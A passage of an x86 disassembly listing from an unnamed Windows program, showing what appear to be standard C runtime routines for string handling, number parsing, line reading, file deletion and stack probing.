mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C4CB
cmp edi, ebx
jb short loc_41C4CB
cmp [ebp+arg_C], 0
jz short loc_41C4A8
sub edi, ebx
cmp edi, esi
jb short loc_41C491
mov edi, esi
loc_41C491: ; CODE XREF: sub_41C3B1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420B29
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C4F3
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C4B8
mov esi, eax
loc_41C4B8: ; CODE XREF: sub_41C3B1+103j
push esi
push [ebp+var_4]
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C4F3
; ---------------------------------------------------------------------------
loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj
; sub_41C3B1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C4E9
sub eax, ebx
cmp eax, esi
jnb short loc_41C4DA
mov esi, eax
loc_41C4DA: ; CODE XREF: sub_41C3B1+125j
push esi
push ebx
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C4F3
and byte ptr [eax], 0
loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj
; sub_41C3B1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C3B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C500 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C520
loc_41C50C: ; CODE XREF: sub_41C500+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C50C
loc_41C520: ; CODE XREF: sub_41C500+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p
; sub_401ACD+7424p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C543
xor eax, eax
jmp short loc_41C579
; ---------------------------------------------------------------------------
loc_41C543: ; CODE XREF: sub_41C52F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C573
mov esi, [ebp+arg_8]
loc_41C54C: ; CODE XREF: sub_41C52F+42j
dec dword ptr [esi+4]
js short loc_41C55B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C562
; ---------------------------------------------------------------------------
loc_41C55B: ; CODE XREF: sub_41C52F+20j
push esi
call sub_41F8E3
pop ecx
loc_41C562: ; CODE XREF: sub_41C52F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C57D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C573
dec [ebp+arg_4]
jnz short loc_41C54C
loc_41C573: ; CODE XREF: sub_41C52F+18j
; sub_41C52F+3Dj ...
and byte ptr [edi], 0
loc_41C576: ; CODE XREF: sub_41C52F+55j
mov eax, ebx
pop esi
loc_41C579: ; CODE XREF: sub_41C52F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C57D: ; CODE XREF: sub_41C52F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C573
xor ebx, ebx
jmp short loc_41C576
sub_41C52F endp
; =============== S U B R O U T I N E =======================================
sub_41C586 proc near ; CODE XREF: sub_41E52A+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C586 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C59D proc near ; CODE XREF: sub_41C586+Ep
; sub_41C7A5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C5B5: ; CODE XREF: sub_41C59D+46j
cmp dword_43D094, 1
jle short loc_41C5CD
movzx eax, bl
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C5DC
; ---------------------------------------------------------------------------
loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj
mov ecx, off_43CE88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej
test eax, eax
jz short loc_41C5E5
mov bl, [esi]
inc esi
jmp short loc_41C5B5
; ---------------------------------------------------------------------------
loc_41C5E5: ; CODE XREF: sub_41C59D+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C5F3
or [ebp+arg_C], 2
jmp short loc_41C5F8
; ---------------------------------------------------------------------------
loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej
cmp bl, 2Bh
jnz short loc_41C5FE
loc_41C5F8: ; CODE XREF: sub_41C59D+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C5FE: ; CODE XREF: sub_41C59D+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C795
cmp eax, 1
jz loc_41C795
cmp eax, 24h
jg loc_41C795
push 10h
test eax, eax
pop ecx
jnz short loc_41C646
cmp bl, 30h
jz short loc_41C630
mov [ebp+arg_8], 0Ah
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C630: ; CODE XREF: sub_41C59D+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C643
cmp al, 58h
jz short loc_41C643
mov [ebp+arg_8], 8
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C643: ; CODE XREF: sub_41C59D+97j
; sub_41C59D+9Bj
mov [ebp+arg_8], ecx
loc_41C646: ; CODE XREF: sub_41C59D+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C662
cmp bl, 30h
jnz short loc_41C662
mov al, [esi]
cmp al, 78h
jz short loc_41C65A
cmp al, 58h
jnz short loc_41C662
loc_41C65A: ; CODE XREF: sub_41C59D+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C662: ; CODE XREF: sub_41C59D+91j
; sub_41C59D+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C672: ; CODE XREF: sub_41C59D+16Cj
cmp dword_43D094, 1
movzx esi, bl
jle short loc_41C68A
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C695
; ---------------------------------------------------------------------------
loc_41C68A: ; CODE XREF: sub_41C59D+DFj
mov eax, off_43CE88
mov al, [eax+esi*2]
and eax, 4
loc_41C695: ; CODE XREF: sub_41C59D+EBj
test eax, eax
jz short loc_41C6A1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C6D3
; ---------------------------------------------------------------------------
loc_41C6A1: ; CODE XREF: sub_41C59D+FAj
cmp dword_43D094, 1
jle short loc_41C6B5
push edi
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C6C0
; ---------------------------------------------------------------------------
loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj
mov eax, off_43CE88
mov ax, [eax+esi*2]
and eax, edi
loc_41C6C0: ; CODE XREF: sub_41C59D+116j
test eax, eax
jz short loc_41C70E
movsx eax, bl
push eax
call sub_420BB3
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C6D3: ; CODE XREF: sub_41C59D+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C70E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C6F8
jnz short loc_41C6F2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C6F8
loc_41C6F2: ; CODE XREF: sub_41C59D+147j
or [ebp+arg_C], 4
jmp short loc_41C701
; ---------------------------------------------------------------------------
loc_41C6F8: ; CODE XREF: sub_41C59D+145j
; sub_41C59D+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C701: ; CODE XREF: sub_41C59D+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C672
; ---------------------------------------------------------------------------
loc_41C70E: ; CODE XREF: sub_41C59D+125j
; sub_41C59D+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C72C
test edx, edx
jz short loc_41C726
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C726: ; CODE XREF: sub_41C59D+181j
and [ebp+var_8], 0
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C72C: ; CODE XREF: sub_41C59D+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C752
test cl, 1
jnz short loc_41C779
and ecx, 2
jz short loc_41C749
cmp [ebp+var_8], 80000000h
ja short loc_41C752
loc_41C749: ; CODE XREF: sub_41C59D+1A1j
test ecx, ecx
jnz short loc_41C779
cmp [ebp+var_8], eax
jbe short loc_41C779
loc_41C752: ; CODE XREF: sub_41C59D+197j
; sub_41C59D+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DBDEC, 22h
jz short loc_41C768
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C768: ; CODE XREF: sub_41C59D+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C779: ; CODE XREF: sub_41C59D+18Dj
; sub_41C59D+19Cj ...
test edx, edx
jz short loc_41C782
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C782: ; CODE XREF: sub_41C59D+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C790
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C790: ; CODE XREF: sub_41C59D+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C7A0
; ---------------------------------------------------------------------------
loc_41C795: ; CODE XREF: sub_41C59D+66j
; sub_41C59D+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C79E
mov [eax], edi
loc_41C79E: ; CODE XREF: sub_41C59D+1FDj
xor eax, eax
loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C59D endp
; =============== S U B R O U T I N E =======================================
sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p
; sub_401ACD+6931p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C7A5 endp
; =============== S U B R O U T I N E =======================================
sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_427088 ; DeleteFileA
test eax, eax
jnz short loc_41C7D2
call dword_427094 ; RtlGetLastWin32Error
jmp short loc_41C7D4
; ---------------------------------------------------------------------------
loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj
xor eax, eax
loc_41C7D4: ; CODE XREF: sub_41C7BC+14j
test eax, eax
jz short loc_41C7E3
push eax
call sub_420C7F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj
xor eax, eax
retn
sub_41C7BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420CE6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41FF3F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420D73
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C7E6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp
; sub_401ACD+1E3Ep ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C841
xor eax, eax
jmp short loc_41C843
; ---------------------------------------------------------------------------
loc_41C841: ; CODE XREF: sub_41C820+1Bj
mov eax, edi
loc_41C843: ; CODE XREF: sub_41C820+1Fj
cld
pop edi
leave
retn
sub_41C820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C850 proc near ; CODE XREF: sub_401ACD+854p
; sub_41E52A+93p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C881
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C87F
jz short loc_41C881
dec ecx
dec ecx
loc_41C87F: ; CODE XREF: sub_41C850+29j
not ecx
loc_41C881: ; CODE XREF: sub_41C850+9j
; sub_41C850+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp
; sub_401ACD+2FB3p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C901
sub_41C890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p
; sub_401ACD+746Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C8BC
loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C8EF
test ecx, 3
jnz short loc_41C8AD
loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj
; sub_41C8A0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C8BC
mov eax, [ecx-4]
test al, al
jz short loc_41C8FE
test ah, ah
jz short loc_41C8F9
test eax, 0FF0000h
jz short loc_41C8F4
test eax, 0FF000000h
jz short loc_41C8EF
jmp short loc_41C8BC
; ---------------------------------------------------------------------------
loc_41C8EF: ; CODE XREF: sub_41C8A0+12j
; sub_41C8A0+4Bj
lea edi, [ecx-1]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F4: ; CODE XREF: sub_41C8A0+44j
lea edi, [ecx-2]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj
lea edi, [ecx-3]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8FE: ; CODE XREF: sub_41C8A0+39j
lea edi, [ecx-4]
loc_41C901: ; CODE XREF: sub_41C890+5j
; sub_41C8A0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C926
loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C978
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C90D
jmp short loc_41C926
; ---------------------------------------------------------------------------
loc_41C921: ; CODE XREF: sub_41C8A0+9Ej
; sub_41C8A0+B8j
mov [edi], edx
add edi, 4
loc_41C926: ; CODE XREF: sub_41C8A0+6Bj
; sub_41C8A0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C921
test dl, dl
jz short loc_41C978
test dh, dh
jz short loc_41C96F
test edx, 0FF0000h
jz short loc_41C962
test edx, 0FF000000h
jz short loc_41C95A
jmp short loc_41C921
; ---------------------------------------------------------------------------
loc_41C95A: ; CODE XREF: sub_41C8A0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C962: ; CODE XREF: sub_41C8A0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C96F: ; CODE XREF: sub_41C8A0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C978: ; CODE XREF: sub_41C8A0+72j
; sub_41C8A0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C8A0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C990
loc_41C980: ; CODE XREF: sub_41C990+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C990
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C990 proc near ; CODE XREF: sub_401ACD+412p
; sub_401ACD+4B9p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C996: ; CODE XREF: sub_41C2E0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C9BB
loc_41C9A8: ; CODE XREF: sub_41C990+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C980
test cl, cl
jz short loc_41CA04
test edx, 3
jnz short loc_41C9A8
loc_41C9BB: ; CODE XREF: sub_41C990+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C9C6: ; CODE XREF: sub_41C990+61j
; sub_41C990+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41CA08
and eax, 81010100h
jz short loc_41C9C6
and eax, 1010100h
jnz short loc_41CA02
and esi, 80000000h
jnz short loc_41C9C6
loc_41CA02: ; CODE XREF: sub_41C990+68j
; sub_41C990+81j ...
pop esi
pop edi
loc_41CA04: ; CODE XREF: sub_41C990+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CA08: ; CODE XREF: sub_41C990+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41CA45
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA3E
test ah, ah
jz short loc_41CA02
shr eax, 10h
cmp al, bl
jz short loc_41CA37
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA30
test ah, ah
jz short loc_41CA02
jmp short loc_41C9C6
; ---------------------------------------------------------------------------
loc_41CA30: ; CODE XREF: sub_41C990+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA37: ; CODE XREF: sub_41C990+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA3E: ; CODE XREF: sub_41C990+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA45: ; CODE XREF: sub_41C990+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41CA9C
loc_41CA60: ; CODE XREF: sub_41CA50+3Cj
; sub_41CA50+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+3]
jnz short loc_41CA94
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41CA60
mov edi, edi
loc_41CA90: ; CODE XREF: sub_41CA50+18j
; sub_41CA50+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA94: ; CODE XREF: sub_41CA50+14j
; sub_41CA50+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA9C: ; CODE XREF: sub_41CA50+Ej
test edx, 1
jz short loc_41CAB8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41CA94
inc ecx
or al, al
jz short loc_41CA90
test edx, 2
jz short loc_41CA60
loc_41CAB8: ; CODE XREF: sub_41CA50+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
add ecx, 2
jmp short loc_41CA60
sub_41CA50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41CAED: ; CODE XREF: sub_41CAD4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41CAED
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41CB15
mov edx, dword_4DBE38
loc_41CB15: ; CODE XREF: sub_41CAD4+39j
; sub_41CAD4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41CB35
test al, al
jz short loc_41CB35
inc edx
jmp short loc_41CB15
; ---------------------------------------------------------------------------
loc_41CB35: ; CODE XREF: sub_41CAD4+58j
; sub_41CAD4+5Cj
mov ebx, edx
loc_41CB37: ; CODE XREF: sub_41CAD4+81j
mov al, [edx]
test al, al
jz short loc_41CB5B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41CB57
inc edx
jmp short loc_41CB37
; ---------------------------------------------------------------------------
loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej
and byte ptr [edx], 0
inc edx
loc_41CB5B: ; CODE XREF: sub_41CAD4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DBE38, edx
and eax, ebx
pop ebx
leave
retn
sub_41CAD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp
; sub_415DAC+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41CBAE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41CBBB
; ---------------------------------------------------------------------------
loc_41CBAE: ; CODE XREF: sub_41CB70+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj
mov eax, esi
pop esi
leave
retn
sub_41CB70 endp
; =============== S U B R O U T I N E =======================================
sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p
; sub_40B90E+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41CC74
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41CBEA
loc_41CBDB: ; CODE XREF: sub_41CBC0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41CC1B
test edi, 3
jnz short loc_41CBDB
loc_41CBEA: ; CODE XREF: sub_41CBC0+19j
; sub_41CBC0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41CBEA
mov eax, [edi-4]
test al, al
jz short loc_41CC28
test ah, ah
jz short loc_41CC23
test eax, 0FF0000h
jz short loc_41CC1E
test eax, 0FF000000h
jnz short loc_41CBEA
loc_41CC1B: ; CODE XREF: sub_41CBC0+20j
dec edi
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC1E: ; CODE XREF: sub_41CBC0+52j
sub edi, 2
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj
sub edi, 3
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC28: ; CODE XREF: sub_41CBC0+47j
sub edi, 4
loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj
; sub_41CBC0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
jmp short loc_41CC5C
; ---------------------------------------------------------------------------
loc_41CC40: ; CODE XREF: sub_41CBC0+75j
; sub_41CBC0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41CC7A
mov [edi], dl
inc edi
dec ecx
jz short loc_41CC70
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej
; sub_41CBC0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41CC70
loc_41CC63: ; CODE XREF: sub_41CBC0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41CC72
dec ecx
jnz short loc_41CC63
loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj
; sub_41CBC0+A1j
mov [edi], cl
loc_41CC72: ; CODE XREF: sub_41CBC0+ABj
pop ebx
pop esi
loc_41CC74: ; CODE XREF: sub_41CBC0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC7A: ; CODE XREF: sub_41CBC0+85j
; sub_41CBC0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC84: ; CODE XREF: sub_41CBC0+E4j
; sub_41CBC0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41CC5C
loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj
; sub_41CBC0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41CC84
test dl, dl
jz short loc_41CC7A
test dh, dh
jz short loc_41CCD8
test edx, 0FF0000h
jz short loc_41CCC8
test edx, 0FF000000h
jnz short loc_41CC84
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
